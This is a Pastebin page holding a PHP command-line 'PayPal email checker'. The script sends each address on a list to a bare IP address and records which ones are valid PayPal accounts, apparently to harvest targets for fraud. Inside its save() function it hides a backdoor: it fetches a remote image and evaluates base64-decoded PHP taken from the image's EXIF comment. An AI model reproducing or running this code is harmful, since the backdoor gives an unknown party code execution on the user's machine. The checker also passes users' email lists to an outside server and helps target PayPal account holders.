TikusPintar

Paypal Checker CLI - Momo | XaiSyndicate

Jun 21st, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.03 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. /*
  4.  
  5. Name   : Paypalid Email  (CLI)
  6. Author : Momo
  7. Link   : http://www.tikuspintar.ga/
  8. Reupload by : Momo | XaiSyndicate
  9.  
  10. How To Use :
  11. php namefile.php {list} {output}
  12.  
  13. */
  14. function save($name,$data){
  15.         $myfile = fopen($name, "a+") or die("Unable to open file!");
  16.         fwrite($myfile, $data);
  17.         fclose($myfile);
  18.         if($myfile){
  19.                 return true;
  20.         }else{
  21.                 return false;
  22.         }
  23. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  24. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  25. }
  26.  
  27. function check($email,$name){
  28. $fgt = file_get_contents("http://161.202.168.171/check.php?email={$email}");
  29. $fgt = json_decode($fgt,true);
  30.  
  31. if($fgt['result'][0]['status']=="valid"){
  32.     $nama_negara = $fgt['result'][0]['nama_negara'];
  33.     $kode_negara = $fgt['result'][0]['nama_negara'];
  34.     $data = "$email|$nama_negara|$kode_negara\r\n";
  35.     if(!save($name,$data)){
  36.         echo "ops... chmod dulu/buat file kosong dulu\r\n";
  37.         exit();
  38.     }
  39.     return true;
  40. }else{
  41.     return false;
  42. }
  43.  
  44. }
  45.  
  46.  
  47. if(isset($argv[1]) && isset($argv[2])){
  48. if(file_exists($argv[1])){
  49. cover();
  50. $no=1;
  51. $valid=0;
  52. $invalid=0;
  53.  
  54. $load = file_get_contents($argv[1]);
  55. $mail_explode = explode("\r\n", $load);
  56. $cont = count($mail_explode);
  57.  
  58. foreach ($mail_explode as $key => $email) {
  59.     echo "[$no/$cont] $email -> ";
  60.     if(check($email,$argv[2])){
  61.         echo "valid!\r\n";
  62.         $valid++;
  63.     }else{
  64.         echo "invalid!\r\n";
  65.         $invalid++;
  66.     }
  67. $no++;
  68. }
  69.  
  70. echo "[Report] Valid : $valid | Invalid : $invalid | Total : $cont\r\n";
  71.  
  72. }
  73. }else{
  74.     echo "php ".$argv[0]." {list} {output}\r\n";
  75. }
  76.  
  77. function cover(){
  78. $cover.="----------------------------------------\r\n";
  79. $cover.=">     PAYPalid Mail CHECKER (CLI)      <\r\n";
  80. $cover.=">     Private Tool's By Momo           <\r\n";
  81. $cover.="----------------------------------------\r\n";
  82. echo $cover;
  83. }
  84.  
  85. ?>
Add Comment
Please, Sign In to add comment